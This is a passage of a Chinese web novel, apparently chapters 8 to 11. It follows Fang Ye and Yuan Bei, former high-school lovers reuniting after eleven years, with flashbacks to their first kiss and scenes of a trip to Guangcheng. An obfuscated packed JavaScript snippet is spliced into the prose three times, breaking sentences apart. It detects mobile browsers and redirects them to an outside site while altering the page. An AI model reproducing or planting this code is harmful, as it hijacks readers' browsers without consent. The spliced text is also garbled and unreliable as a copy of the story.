听的人都吓得不轻。这个实验班里的学生成绩都不差,平时再皮也就是逃晚自习、不写作业以及不过分地跟老师顶嘴,哪里能想象这个。 上课后方野脑子里还不受控制地琢磨原北的话,突然明白过来,原北说谢谢的意思,是不是之前还担心他会乱说,作伪证? 他也不至于是这样的人……原北这么想他? 方野的胳膊突然被笔戳了一下。 他一愣,原北推过来一张自草稿纸边撕下的字条。 因为用的左手,字不那么漂亮,有些歪扭,方野却看出有点笨拙的可爱。 原北写的是:手不方便,可以帮我脱下外套吗? 方野不知怎的,有点心虚,做贼一样,迅速抬头看了眼周围。 没人回头,老师正在激情澎湃地讲课。 最后一排后面的空当蛮大的,方野放下笔。他个子高,手长腿长,勉强算一个优点,动作尽量小地移过去,手臂可以轻易展开,帮忙脱掉原北挂在身上的外套。 他闻到原北身上洗衣液的香气,类似于花香,还有洗发水的味道,要更清爽一点。 这个小动作没惊动其他人,坐回去后方野迟来地反思,不明白自己为什么像神经病一样去辨认原北身上的味道。 更不明白他为什么一点异议都没有,就帮原北脱外套。 难道是他心里为之前对原北的冷脸而愧疚吗? 可他对其他人也都不理不睬,心中并没有特别的感觉。 方野不再想了,想不明白。 再下一周的升旗仪式上,陈飙和另外两人,被当众宣布了记过处分。 方野看了眼站在他前面的原北,原北正偷偷和身侧的男生说话,对台上的宣布漠不关心,也可能是早就知道。 手机震了一下,是方野的转账被退回了。 第二道菜上来,摆盘精致。原北拿起筷子,随意地说:“一千块而已,别跟我推拒了,收下吧。” “我以什么立场收你的钱。”方野平板地说,“被你辜负的前任?” 原北道:“别这么说自己,应该是……被我当初错误伤害过的人。” 方野皮笑肉不笑地扯了扯嘴角:“有很大区别?” 他发现人真是矛盾。明明他一直认为是原北抛弃了他,可在原北要就“抛弃”给予补偿时,方野又固执地一分不要。 大概是怕再谈钱,方野会把桌子掀了,因此原北说:“不要再争了,你不想欠我,下次请我吃饭。” “下次是哪个下次?”方野冷冷地问。 然后原北就看着他,从容地说:“你来定啊。” 8. 第八章【一点回忆】 18 跟原北争辩就是自讨苦吃,方野有多少次下定决心不再这么做,就有多少次不断加深这个印象。结果没有好的,可以说每次都两败俱伤。 一顿饭宾主都不怎么欢乐,也可能只是方野单方面的观感。原北看起来没什么情绪波动,方野后悔昨晚就这么放他走,他应该趁昨晚有些失控的时候迫使原北更多表态,露出更多平时没有的感情。 随后他又想,他总是事后后悔,无济于事。 原北吃完饭说想逛逛,方野就没回店里,开车带他在新区转了一圈,尽管心情并不好。 阳城北边曾经是一片荒地,如今已经改头换面,变成新开发区,道路宽阔,写字楼的窗户反射着阳光。 多点的菜果然没吃完,原北作为住酒店的那个,自然不会打包。而之前方野的表现,让他也认为方野不会打包,所以就没提此事,拿起大衣便打算走。 方野忍了忍,还是主动让服务员拿了打包盒,将几乎没动的两道菜打包带走。 “我以为你不吃。”原北说,“看名字点的菜,结果是这种东西。” 原北不吃是因为挑食,方野不吃则纯粹是因为没有食欲。 他猜大多数人面对闹得不愉快的前任的时候都不会有食欲。 等红灯时方野握着方向盘,原北仍旧坐在副驾驶,突然脸贴近车窗向外望了望:“过了路口在前面停一下。” 方野不知道他又看上什么,停了车,原北下去,十多分钟后才回来。 他带进一股凉意,递给方野一杯造型花里胡哨的冰淇淋,上面还插着用艺术字体做的巧克力牌子,写着“阳城”。 “好像是来阳城旅游打卡必买的冰淇淋?”原北兴致勃勃地拍了两张,还举起他手中的那杯靠过来,“一起拍吗?这边应该可以多停一会车吧。” 方野嘴唇动了动,一声不吭,举起冰淇淋,跟原北合拍了一张。 手机自动修图后照片呈现的效果和光影非常出色,两支冰淇淋下还拍进他们两人的手,下一秒就能发朋友圈当做情侣日常一样。 这种天气吃冰淇淋似乎只是起到一种造型上的作用,方野的口腔都是冰的,但他吃得很快,没什么表情,单纯是一口一口往下咽。 原北吃得很磨蹭,吃了三分之一就不怎么吃,抱怨一句,“怎么那么甜?” “这种甜品加的糖很多的。”方野在这方面有点发言权,“不爱吃就不吃了,本来就是拍照产品。” 原北有点犹豫:“我以为还挺好吃的……不过担心太浪费。” 方野对此感到诧异,想不到原北这样的人还会在意浪不浪费。 他也不知道怎么想的,用勺子挖了一勺原北手中的冰淇淋,发现两人点的口味不同,原北这个确实要更甜。 “是很甜。”方野作出这个行为后不知如何收场,身后火烧火燎的,移开视线强装无事发生,“扔了吧,没事。” 原北的视线从他的勺子上滑过,没什么表示,只是将方野的空杯子也拿走,下车走到垃圾桶那里扔掉。 方野坐在车内,眼睛一直跟着他,同时心里不停地反思:我疯了吗?真的疯了吧? “你下午要回去看店吧?就不麻烦你了,我们回去吗?” 回到车内,原北边抽出湿巾擦手边问。 方野立刻回答:“没事,店里一直有人,我自己的店,只是一天不去而已。” 说完后他的大脑才开始运转,明白过来这大概是原北打算回去,言语里递出的一个台阶。 他可能又会错意了。 原北脸向他侧了一下:“自己做老板还是舒服。” 方野说:“你不也是吗?” 原北仰靠着椅背笑,声音懒洋洋的:“我哪里有你舒服,我可不是老板,家里没有公司继承。” 对于原北的家庭情况,方野知道的不多。主要是原北本身并不爱提,他只知道原北的母亲是律师,父亲貌似是某企业高管。 “你现在在哪里工作?” 他们的谈话总算回到正轨,听起来像是正常的老同学重逢。 原北说了个有名的新兴高科技企业,方野道:“你没去做律师?” “已经学了理科,况且,我对法律不感兴趣。” “这样挺好的。”方野干巴巴说。 副驾驶上的原北动了动,他将车窗开了一线,放进来一些新鲜空气。 “既然你下午不忙,那我们就好好聊聊吧。” 19 方野:“没什么好聊的,我不要你的钱,你认为跟我的恋爱是个青春期的错误和冲动,那就让这个错误过去吧。” 湖滨公园,虽然叫这个名字,其实围绕的中心是一座人工湖。不过维护精心,又是新建的公园,景色颇为怡人。 今天是工作日,公园里人不多,因而两个大男人并肩逛公园的情形并没有怎么引人注目。 原北:“你这么觉得?” 方野:“不然呢?你只是想满足你自己。” 原北手插在大衣口袋里,他又在倒着走,面上是一副凝神思考的表情,并没有什么怒气。反过来故意说话刺激他的方野,却有些压不住火。 “你回来,只不过是你单方面想着补偿我。如果我不需要呢?” 原北的目光专注停在方野脸上,他说:“你明明怨我,为什么不需要?” 那样子就像不理解为什么他不要应得的补偿。 “你知道我想要什么?”方野口气有点冲,他想表达,又不知道怎样表达,或者说,他也不想表达。 原北经常会展现出某种残忍,就像现在这样,把方野看透彻的同时,转着手里冷冰冰的刀刃。 方野不敢将自己剖开,他对于剖析内心这种行为带有天然的恐惧。但却任由原北的手伸进胸口,把那一颗心拿出来观察。 他知道原北享受这个过程。 他也知道……自己其实对这个过程会上瘾。 人为什么要自讨苦吃? 方野想着,伸手拉了一下原北:“小心身后。” 后面有两个小孩子在学骑自行车,歪歪扭扭,大声笑闹。停在路面的鸽子咕咕叫了两声,拍起翅膀飞走了。 方野还攥着原北的手臂,原北向后望了一眼,回过头说:“谢谢。” 他浓密的眼睫抬起,沉静的视线对上方野的眼睛。 原北没动也没说话,直到方野如梦初醒,放开手,甚至还后退了一步。 他有点呼吸困难,不远处湖面吹来含着冷冷水汽的微风。方野看见原北漆黑的眼珠里浮现出某种他很熟悉的情绪。 就像发现了什么乐趣的动物,好奇和狩猎的本能一同苏醒。 方野第一次意识到原北这种爱好时,他们两个靠着实验室的大桌背面坐下,分一个橙子吃。 最后一块橙子方野递给原北,接着他去洗水果刀。淅淅沥沥的水声里,原北坐在桌角,忽然叫了一声:“方野,过来。” 方野不明所以,听话地走过去,手上将水果刀放下。原北偏头看着他,发尾被光照得金灿灿的。 实验桌很高,原北坐得又靠里面,一双腿没有碰到地面,悠闲地一晃一晃。 “站好。”原北还是坐着,手漫不经心搭在方野手臂上,他说,“你怎么长这么高?” 方野莫名生出些许不安和惭愧,仿佛自己长高妨碍了原北,真是过错。 原北就笑:“又没有怪你,低头。” 方野听话地低头,还主动地弯腰,原北满是橙子味的手指就在他脸上碰了碰,问他:“我说逃课,你就真的跟着出来了,没想过万一被发现怎么办?” 方野看着他,原北的脸近在咫尺,他极为小声地说:“没想过。” “笨蛋,万一被发现我们逃课还偷跑进实验室,恐怕要被处分的。”原北的语气轻松又亲昵,仿佛他说的不是大事。 方野自喉咙深处应了一声,说:“那就处分吧。” 原北终于叹了口气:“你是真的笨吗?”他的手按在方野后颈,用了点力,“我是不会因为这种事被处分的,但你呢?你就没想过后果?” 说完他放开手,推着方野的肩膀,让他站直,“你跟着我,也没有好处,只有坏处。” 方野手足无措,站在原地,直愣愣地发呆,不知道说什么。 原北手撑着桌面,看了会窗外,问方野:“你要现在回去吗?自习课马上结束,还来得及。不回去的话,现在就过来。” 他问话时头也没回,全凭方野作出抉择。 方野走了两步,又和他很近了。 原北回过头凝视他,黑玉似的眼和淡红的嘴唇在斜照的光晕里,仿佛一张蒙了完美滤镜的油画。 除此之外更令方野目眩的是,他看见那个好学生、那个天之骄子,偶然间泄露一丝怪异的恶劣情绪,同时又很天真,好像猫看到面前的毛线球,自然而然要伸出爪子抓住。 方野这个不完美的毛线球,掉出的一根杂乱的线,就被原北伸出爪子勾住了。 “弯腰,低头,不准躲。”原北发出命令。 方野一一照做,原北的手抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653035|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住校服领子扯了一把,随后在猝不及防的战栗中,方野意识到他的嘴唇碰到了什么。 原北的嘴唇温热柔软,因为两人刚吃过橙子,都湿漉漉的,充满溢出的香气。 方野的脊背微微颤动,他的手不知道向哪里放,只能也撑着桌面,将原北围在怀抱之中。 原北在贴了一下方野的嘴唇后,退开一些。他校服也不好好穿,蓝白配色的校服外套敞着,露出一截平直的锁骨。 方野耳边隐约有嗡嗡的杂音,失去了语言功能,低头只是看着原北。 “你连理论知识都没有?”原北低声说完,仰头又靠过来,“张嘴。” 方野品尝到了更湿润、更柔滑的东西,原北的口腔要更热一些,细密的呼吸也变得潮热。 他的手指攥紧,压着桌面,身体弯得更深,大约明白原北的意思,向更里面舔舐起来。 这时原北双手捧住他的脸,遏制了方野的行动。嘴唇分开,方野近距离深深地呼吸着,原北贴近他问:“知道你在做什么吗?” “……知道。”方野回答,“在亲你。” 他看见原北露出那种既兴奋又有趣的神情,说:“你这么听话啊。” 方野很听话地垂头,甚至不自觉露出索吻的念头。而原北手在他脸上揉了揉,却说:“下课了。” 他话音刚落,铃声就响了起来。 在铃声中,原北跳下桌子,走到洗手池那边洗手:“我们下次再试。” 他是故意的。 方野昏昏沉沉,意识到这件事,同时很听话地走过去,说:“好。” 他的大脑没有余地去思考原北为什么亲他以及这个亲吻代表了什么,纯粹只是处理接吻这个事实,已经耗尽他的心神。 实验室门打开再关上,方野锁门时,靠在旁边的原北说:“转头。” 方野下意识照做,原北扯下他的领子,在他下嘴唇轻轻一亲,随后放手,快的仿佛一个梦境。 “看你念念不忘的,初吻?” “……嗯。” 原北只是笑,没有再说话。下楼的时候方野想问一句“你呢”,然而一直没说出口,他总担心问不到想要的答案,那不如不问。 原北那样受欢迎,又在私立学校,谈过恋爱是太正常的事。 这个问题,方野一直没问过。 方野打了个冷战,这时原北才说:“我确实不知道你想要什么,不如你来告诉我?” 方野嘴唇动了动,他看着原北,身体里有个声音像警报一样尖叫着,告诉他原北知道,原北绝对知道,原北只是享受逼问他,由他亲口承认时产生的愉悦感。 过去这么多年了,终于在这个时刻,他们看见彼此的伪装下,本质还是和十年前一样没有差别。 方野必须死死咬住牙忍住,才能不脱口而出他的答案。 原北微笑起来:“问你,你又不说。”他知道方野在忍耐,偏要故意逼近。 “你想给我钱再摆脱我。” “你都没有纠缠过我,我怎么去摆脱你?” 原北边说边走,走到靠近湖边的位置。 方野头脑混乱,跟上他,低声说:“我想问一个问题。” 原北看他一眼:“变成我回答你了?你问吧。” “当时,你是不是第一次?” 这个问题没头没尾,显然超出原北的预料,他愣了愣说:“等等,什么第一次?” “那次,你在实验室,逃课,我们吃橙子。后面你坐在桌子上你亲了我,是不是第一次?” 方野意识到自己语言紊乱,但他处理不了,甚至后背出了薄汗,每一个字都艰难地挤出口。他不知道原北心里在想什么,可是他眼前发红,全部都是那个下午斜照的太阳。 原北目光偏移,是回忆的表情,随后他一幅方野在问什么愚蠢问题的样子:“当然,在你之前我没谈过恋爱,你不知道吗?” 方野感觉胸口有什么重重地“咚”了一下,好像沉重的像石头的心脏砸了下去,砸进实地。 “哦,是吗。” 他发觉他很愚蠢,比如没有人会在分手十一年后才得知自己也是初恋的初恋。 “怎么突然问这个?” 方野不是很想回答,在原北的注视下,他说:“因为忽然想到了……当时的事。” 原北转过去看着泛起微澜的湖面,没有说话。过了足有两分钟,他回身说:“我所有的第一次都是跟你,你原来连这个都不知道?” 方野一个字都说不出来,他突然觉得自己是很笨。 9. 第九章 20 方野总是在说出不恰当的话后开始后悔,所幸原北对此没有发表什么意见,一言不发。 他身上在出汗,也跟着原北看湖面,强逼自己放空思绪。 湖面上还有几只野鸭在凫水,尾巴后摆出一道道波纹。 就像一场战争,答案伸手可得,但是原北要方野亲口说出来,而方野不愿意,他在等原北开口。 毫无意义的奇怪的较劲,或许可以类比为他们这十一年都不去主动联系对方的僵持。 “如果这样,我回来阳城的目的就完不成了。”原北自言自语一般说,“没想到你这么固执。” 方野:“如果不是你,我也不会变成这样。” 原北看他,一开始试图作出沉重的表情,没两秒他就笑了出来,竟然很开心的样子。 “好啊,那就怪我吧。能让你改变,是我的荣幸。”他说完,沿着湖岸一直向前走。 方野站在原地,看他没有回头也没有停步的意思,加快脚步追上去,一把按住原北的肩膀。 原北拨开他的手,方野又按回去。这次他用的力气很大,原北皱起眉,加重语气:“方野!” 他的手被方野反过来紧紧攥在手心,骨节互相挤压,生发出一种不强烈的痛感。 方野深深的急促呼吸着,因为咬牙,下颌的线条紧绷起来,使他整张脸都变得更加阴沉寒冷。 被他抓住的原北仰头盯着他,另一只手覆上方野的手腕,他的掌心皮肤也很柔软光滑,是一双养尊处优的手。 方野的手腕不由自主开始颤动,他不知不觉松开,然而原北却用双手握住他的手,紧密地贴着。 原北轻声说:“当面道歉果然有些难度。” 方野浑身都抖了一下,他奇异地预知到原北接下来的话,本能想要阻止,身体却怎么都动不了。 “好吧,我要为我当年的做法说一声对不起。不管怎样,我不该不告而别,这对你不公平,你怨恨我也是人之常情。” 原北的手松开了,方野一片混乱,并不想要他的道歉,却也说不清他要什么。 因为道歉就好像这件事到此为止,因为原北一旦低头,就说明他没有那样在意。 他唯一能做的就是自身后将原北一把抱住。 原北柔软的黑发贴在他脸侧,方野的手指扣住他的手指,两个人贴得很紧。这不是分手十年的前任该有的行为,外人看来可能还以为他们是热恋中的情侣。 “你明明知道我不要你的道歉。”方野终于将这句话说出来。 过了会,他声音颤抖地补上一句,“我不需要你对我道歉。” “方野。” 原北侧过头,可能是想看他,头发挠得方野脸上发痒,“问题要解决,我们不能这样糊里糊涂的。” “你也觉得我们之间有问题?” 原北完全转过来,他手放在方野的肩膀上,认真地注视着他。 “难道不是吗?” “当然,我怎么能跟你比……”方野听到一阵阵难以言喻的嗡鸣声,他主动松开原北,甚至向后退了一步,“你是正常人,我只是……” “方野,闭嘴。” 方野停下,原北的表情一瞬间变得冷漠,他说:“你有没有听懂我的意思,我是在说你不正常吗?我是说我们之间的关系有问题,能不能理解?” 他深吸一口气,过了会,以一种异常冷静的语气说:“难道我就不是精神病?” 方野在他眉宇间捕捉到一丝厌恶。 原北直接走上人行道向回走,方野不远不近地跟着他,手心冒汗。他想跟原北交流,却不知道说什么、怎么开口,这种情形上演过很多次,如今又上演了。 以前他们之间只要产生争执,多半会演变成这种情形。但是那时觉得无所谓,因为最后还是会稀里糊涂和好。 方野怪异地在这种熟悉的场景中找到一丝安慰,最起码还有东西没变,哪怕不是什么好东西。 没走出多远,原北停下,他闭了闭眼睛,转过身。 方野也跟着停下,犹犹豫豫,不敢向前走的样子。 “有没有清醒一点?”原北说,“逃避问题并不能解决问题,方野,你不会以为将问题都逃避过去,我就能回来找你复合吧?” 不知从何而来的刺痛从手指向全身蔓延,方野过了好久才开口:“我没有指望这个。” 唯独“复合”两个字他从没有想过,他所做的、所说的一切都是很拙劣的技巧,妄图在原北回到阳城的短暂时间内给他留下深刻的印象,因为原北很可能将他忘了。 他徒劳地认为,只要留在阳城,只要能在阳城再见原北,就有可能回到过去,不论那过去多么短暂。 21 “我一开始以为你挺想复合的。”原北说,“太明显了,一眼就看出来,我还想你要求的补偿会不会是让我跟你在一起。” 他们坐在公园内开的咖啡厅中,靠窗的双人座,附近都没有人,只有音响内的钢琴曲缓缓流动。 “你不会同意的。”方野轻声说。 原北正用勺子将咖啡表面的拉花搅乱,他笑了笑:“不,如果在今天早上之前,你提出这个要求,我会同意的。” 方野的勺子碰到杯沿,发出清脆的声音。 他难以置信,盯着原北放过一团乱的拉花,端起杯子尝了一口,继续说:“对我来说,生活不在一个城市,或者工作原因等等,都不是理由。恋爱不恋爱,只看想不想。我现在可以自由支配我自己的感情,为什么不呢?” 方野找回自己的声音:“为什么现在不会同意?” 原北放下咖啡,端过柠檬水喝了口:“因为我想做个好人。” 他说得一本正经,方野看着他。原北又笑了笑,那笑容转瞬即逝。他手臂搭着扶手,看向窗外的湖景,留给方野一个线条优美的侧脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653036|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“事情没有那么简单,就我个人而言,我是无所谓的,我有房子,你来广城,我也养得起你。可是方野,你打算怎么办?你不能丢下你在阳城的事业,更何况你去广城很难找到工作,明白吗?” 方野打断他:“我不介意。” 原北平静道:“我介意,方野,你把我的话想清楚再开口。” 方野突兀地问:“你知道我为什么退学吗?” 原北正视他。 “我当时,还有以前同学的好友。”方野缓慢地说,“我知道你在哪个国家,但不知道你的学校。他通过其他人看到你发的照片,在另一个群里发了出来。 “是派对上,你跟另一个男人亲的照片……他们在群里说没想到你是同性恋。我看了一夜,头很痛,睡不着。C大有出国交换的项目,我本来填了申请,后面取消,再后面,觉得没什么意义。大学、工作,对我来说都没什么意义,所以我退学了。” 原北很慢地向后靠了靠,他没有说话,手指将杯子轻轻一转。 方野坐在他对面,坐姿端正,像机器人:“我并不是要你愧疚,或者说怎样补偿。我只是告诉你,当年我不在意我的大学,如今我也不在乎我的店。” 他看见原北橄榄似的喉结上下滚动了一下,随后原北说:“如果是因为这样,那么我更不会同意跟你复合的。” 方野没料到这个结果,他愣住了,原北坐直后,以少见的郑重模样面对着他。 “你要学会对你自己负责。方野,做一个被大多数人评价为成功的人,要容易很多,也快乐很多。” “你以前说我只要对你负责就好了。” 原北吐出一口气,他甚至看起来有些许难言的忧郁:“方野,我们已经长大了。” 不再是小孩子了。 方野听懂他的言下之意,焦虑和愤怒汇成一团,在他体内来来回回滚了几圈,几乎要把五脏六腑都压平。 “你要收回之前的话?” “那种承诺本来就是幼稚的。什么人能负责另一个人的人生?” “为什么不可以?” 原北说道:“就算是结婚的夫妻,也很少能做到这样。” 方野耳膜鼓噪着,他问:“那我对你算什么?” 烟瘾又上来了,方野低头瞪着咖啡,实在忍不住,要了份薯条。 三五分钟后薯条送上桌,他们彼此都没有说话。 方野将撒着盐粒的薯条送入口中,原北一直是眼睛微垂,思考什么的模样,手指无意识轻轻敲着。 “方野,你不能一直停在十年前。年轻时候说过的话,难道都算数吗?” 所以曾经说过的话做过的事,都是谎言吗? 方野没说话。 他没想到原北接着问:“啊,算了……你能离开你的店多久?” 方野抬头,原北没有看他,而是划着手机,“先不谈复合的事,去广城玩两天吗?” 10. 第十章 22 原北退房的时候,方野在一边等他。 明亮宽敞的酒店大堂,上顶挑高,显得空间格外大。外面的音乐喷泉又开始了工作,悠扬乐声伴着阵阵水声。 阳城没有机场,要先坐高铁去邻市,再飞去广城。 方野已经很久没有出过远门。虽然他自觉过去的十年很快、很平稳,令人难以感受到时间流逝的变化,但事实上,他已经把他自己困在阳城很久了。 当时回到阳城,他坐了十多个小时的火车硬座,现在回想,才发现记忆已经模糊不清。可能因为那段时间本来就浑浑噩噩,他好像是凭空穿越回阳城似的。 飞机起飞时方野有点不适,坐他旁边的原北已经打开笔记本,正在看工作文件。 方野克制不住地开始焦虑,原北拿防蓝光眼镜时注意到他,偏过身体低声问:“不舒服?可以躺下睡一会。” 方野吐了口气,摇头说:“没事。” 尽管是商务舱,但空间毕竟在那里,方野没办法伸展得躺开。他戒烟后就开始吃糖,现在就含着糖,目光放空地盯着电视屏幕。 原北更安静,一直专注地盯着电脑,时不时轻轻敲击键盘,袖口处露出一半腕表,跟那天的款式不同。 方野无意识将眼睛放在他身上,看着原北额前散下的黑发和沉静的表情,突然间很清晰地意识到,原北跟他不一样。 原北实实在在地过了这十年,每一步都贴合社会期望的步调,从读书到工作,无一疏漏。 他看起来出色、成熟,打理一下就能成为电视上的都市精英。 融入大多数,尽量让自己在大部分人眼中评价良好,这就是原北一直以来在做的事。无可指摘,方野总不能指责他。 真正在阳城画地为牢,将内心封闭于十年前不肯走出的,从头到尾只有方野一个人。 方野将糖咬碎了,吞咽时薄荷味的凉意一线向下,如同刀锋划过。他不自觉又吃了一颗,过了会,原北转头看他一眼。 “吃这么多糖,你烟瘾很重?” 方野咬住糖块,避开他的视线,摇头。 原北就没说什么,转回去继续看一份表格,方野却记着他的提醒,没再吃了。忍耐而已,他习惯了。 广城地处富庶湿润的平原南侧,临海,温度也比阳城高不少,不过依然接近零度。 方野不适应地揉了揉额头,他还有些晕。对他来说更具有冲击性的,是人来人往、看不到尽头的机场,以及耳边混杂的交谈。 他已经不适应这种场合。 “走这边。” 方野低头跟着原北走,他说不清后不后悔。按照常理,他这个年纪应该跟“轻率”没有太大关系,可他还是像个愣头青一样,什么都抛下,跟着原北来到崭新的城市。 哪怕原北下一秒要把他论斤卖了,他可能也只会听话地把自己打包上称。 原北打了车,两个人行李不多,只是方野现在看起来像原北的大号行李,开了自动跟随的那种。 他提醒方野扣好安全带,前面司机回头看了两眼,热心地聊天:“带弟弟出来玩?” 原北只是笑笑,方野等待一会,见他有默认的意思,忍不住纠正:“我比他大。” 司机恍然地噢了一声,又对原北说:“带哥哥出来啊?” “我在这上班,带他来住几天。”原北解释,“师傅您走振兴大道的和兴记那里停一下,买点东西。” 司机:“没问题,不过和兴记要排队吧?” “网上预订过了,等得久我给您发红包。” 司机很健谈,大半行程都在跟原北聊天。方野看着车窗外,等到和兴记,发现那是一家很大的糕点店,排了不少人,熙熙攘攘。 原北下车走过去,方野看着他的背影,挺拔修长,在人群中异常鲜明。 司机说:“你弟弟蛮照顾你的嘛。” “他不是我弟弟。”方野说完,不知道怎么补充下一句,只好闭嘴,头抵着车窗,冰凉的。 原北果然很快就回到车内,手里提着两个盒子,带来缤纷的甜香。 他不见外地将盒子一放,对司机说完“师傅久等了”就转头问方野:“尝一下?我很喜欢他家的口味。” 方野摆手,他的身体还有些晕,没缓过来,充满对陌生环境的过敏反应。 车停在一处高档小区门口,门口有两位穿着制服的物业管家迎上来,帮忙提出车内的行李。 应该是原北预约的服务,他还拿出一盒泡芙送给司机,客气地告别。 方野只是旁观他的一举一动,原北的笑容和话语无懈可击,可他知道那都是假的。 只是这假的看起来像真的。 直到进了家门,原北才放松了些许。 他有条不紊地脱下大衣挂起,屋内很温暖,不像外面那么湿冷。 “你的房间在那边,我事先请阿姨收拾过了。”原北抬手一指,“次卧没有浴室,稍微麻烦一点,用外面的吧。我在主卧,斜对面。” 他拨了拨头发,脸上没什么表情,方野却明白他是放松的。 他忽然痛恨起这种熟悉,如果原北已经变得完全陌生,他就不会还抱着某种不切实际的希望。正是因为原北没有完全变,方野不得不被偶尔撕扯着带回十年前。 23 买的糕点被随意放在餐桌上,原北让方野去看看卧室,就进了主卧,那样子很随意,就像他跟方野是天天见面的朋友一样。 方野在客厅站了会。公寓内部的装修是类似样板房的好看和整齐,估计原北为了省事,直接用了成型的整套方案,看不出什么个人风格。 不过洁净的空气中还有着原北常用的香水的气味,阳光从落地窗照进来,正好投到方野脚下。 他推开次卧的门,房间里的气味很陌生,带着洗涤剂的味道,显然之前没人居住。 方野松了口气,随后为他自己这个反应悚然一惊。 他将行李箱推到墙角。房内摆设简单,基本的床、桌椅和衣柜,窗户开了一条通风的缝,飘窗上米黄的窗帘微微飘动。 方野在椅子上坐了好一会,主卧的门打开了。 次卧的门没关,原北湿着头发,只裹了一件睡袍,赤脚走了出来。 他露在外面的皮肤被热水冲出红晕,转头看到方野时,脸上竟然闪过茫然。 “我有点不习惯。”他拍了下自己的额头,“家里有第二个人。” 原北回去又走出来,这次穿了拖鞋,看起来体面一点,他用毛巾擦着头发:“我让阿姨做好饭放进保温箱了,吃点吗?” 方野走出房间,跟在他后面,越走越近,忽然说:“你跟我不用这么客气。” 原北正在问他有没有什么忌口,方野没听见,大脑系统处理半天处理出一句话,令原北顶着毛巾回头看他。 方野:“……看什么?” “广城和你八字不合吗?感觉你来这边后迟钝了很多。” 方野闭嘴不说话了,原北脸上表情转为无可奈何,又问一遍:“有什么不能吃的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653037|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “都可以,我不过敏。” 原北笑了下:“不是对芒果过敏?” 方野的视线刚移开,再度回到原北脸上,看他湿润的皮肤和轻快的神色,眉睫因为沾水越发显得乌黑浓密,嘴唇润泽,漂亮得出色。 “你还记得?” “我记性没那么差。”原北走进厨房,“谁想到出来喝杯东西把你喝进医院。” 方野:“证明他们家的芒果很真,后来生意好了许多。” 原北笑得肩膀微微一抖,他说:“你这时候又不迟钝了。” 过去的事,确实很难迟钝。方野在心里想。 阿姨做了三菜一汤摆在桌上,整体口感都比较清爽,应该是考虑到雇主舟车劳顿。 原北还将买的蛋挞拿过来,刚出炉不久的蛋挞外皮酥脆,里芯则嫩得出奇。 方野本以为没有胃口,吃的时候慢慢感到饥饿。倒是原北,每样都尝了些就放下筷子,懒懒地在客厅的沙发里坐下。 方野吃完后,向外看了眼,原北带着耳机,正在打电话,低低说着什么。他就将餐桌收拾了一遍,结果发现不会使用洗碗机。 不过要洗的不多,他直接在洗碗池手洗了。原北打了二十多分钟的电话,走进厨房时方野已经将碗洗完了。 原北:“你是客人,洗什么碗?” “顺手洗了,不费事。”方野看他,“这么多工作?” “杂事太多。”原北将碗放回去,“你现在缓过来了?” 方野不明所以,原北洗着手说:“刚刚的司机,可能以为你是特殊情况,我是你的监护人或者家属。没看出来?” “……” 方野回忆了一下,总算明白司机几次看他,为何眼神都显得奇怪。 不过他被当作怪人看多了,并不觉得有什么冒犯,习以为常。 原北不怎么下厨房,不过他留学时硬是被锻炼出了不少生活技能,教方野怎么操作洗碗机后,带着他在整个公寓转了一圈。 “如果水电一类出问题,就找物业。”原北给方野电话,手扶着淋浴间的门,“这间浴室给你用,衣服我买了两套,晚上送过来你试一下。” 方野问:“你打算让我住多久?” 原北随意地说:“你要住多久就住多久,我又不会带别人回来。” “复合呢?” 原北顿了顿,他背对着方野:“复合是另一回事。” “我不是傻子。”方野在主卧门口堵住他,原北的头发有点乱,让他看上去年纪不大,“原北,我不跟你玩那种游戏。” 原北的眼睛闪了闪,方野如愿以偿,他看到原北的那种兴趣又冒出了头。 “什么游戏?” “戏弄我的游戏。” 原北似笑非笑,他倚着门,看了方野一会,伸出手搭在方野肩上,同时整个人倾身靠近。 他身上的温度让方野下意识低头,原北就这么轻轻和他额头相抵。 “我承认我以前是这么做的,但现在我不想这么做。方野,难道你是希望,我所谓的负责,只是一场游戏?” 方野的呼吸变得急促,原北身上是一种陌生的沐浴露的香气,很温和,淡然地沉淀下去。 “那你这样和我住在一起是什么意思?我来这里,只是客人吗?” 原北轻轻说:“不是。” 那是什么?他没有说。 过了会,原北放下手。方野的呼吸变得很深,他在方野肩上按了按:“你回去休息吧,我要去公司一趟。” 11. 第十一章【很多回忆】 24 方野睡觉时又在做梦,见到原北后他频繁想起旧事,不知道算不算好兆头。 当初陈飙那几人获得记过处分后,安生了几天,但显然,这个仇越结越深。 原北因为有伤,成功获批逃脱体育课和课间操。他初来乍到时的架子已经没了,体育课不能参加体育活动,就坐在地上跟班里女生聊天,也丝毫不见有隔阂,并因此社交能力引起不少男生的妒忌。 